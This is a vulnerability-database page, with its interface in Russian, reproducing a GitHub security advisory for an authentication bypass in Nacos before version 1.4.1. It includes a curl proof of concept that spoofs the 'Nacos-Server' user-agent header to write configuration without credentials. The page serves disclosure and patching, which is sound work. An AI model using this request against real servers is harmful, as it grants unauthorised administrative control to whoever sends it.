Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-36hp-jr8h-556f

Опубликовано: 27 апр. 2021
Источник: github
Github: Прошло ревью

Описание

Authentication Bypass

When configured to use authentication (-Dnacos.core.auth.enabled=true) Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the user-agent HTTP header so it can be easily spoofed.

The following request to the configuration endpoint gets rejected as we are not providing any credentials:

❯ curl -X POST "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld" {"timestamp":"2020-12-02T14:33:57.154+0000","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/cs/configs"}

However the following one gets accepted by using the Nacos-Server user-agent header:

❯ curl -X POST -A Nacos-Server "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld" true

Impact

This issue may allow any user to carry out any administrative tasks on the Nacos server.

Пакеты

Наименование

com.alibaba.nacos:nacos-common

maven
Затронутые версииВерсия исправления

< 1.4.1

1.4.1

EPSS

Процентиль: 100%
0.94053
Критический

Дефекты

CWE-290

Связанные уязвимости

CVSS3: 8.6
nvd
почти 5 лет назад

Nacos is a platform designed for dynamic service discovery and configuration and service management. In Nacos before version 1.4.1, when configured to use authentication (-Dnacos.core.auth.enabled=true) Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the user-agent HTTP header so it can be easily spoofed. This issue may allow any user to carry out any administrative tasks on the Nacos server.

CVSS3: 9.8
fstec
почти 5 лет назад

Уязвимость компонента AuthFilter программной платформы Nacos, позволяющая нарушителю повысить свои привилегии

EPSS

Процентиль: 100%
0.94053
Критический

Дефекты

CWE-290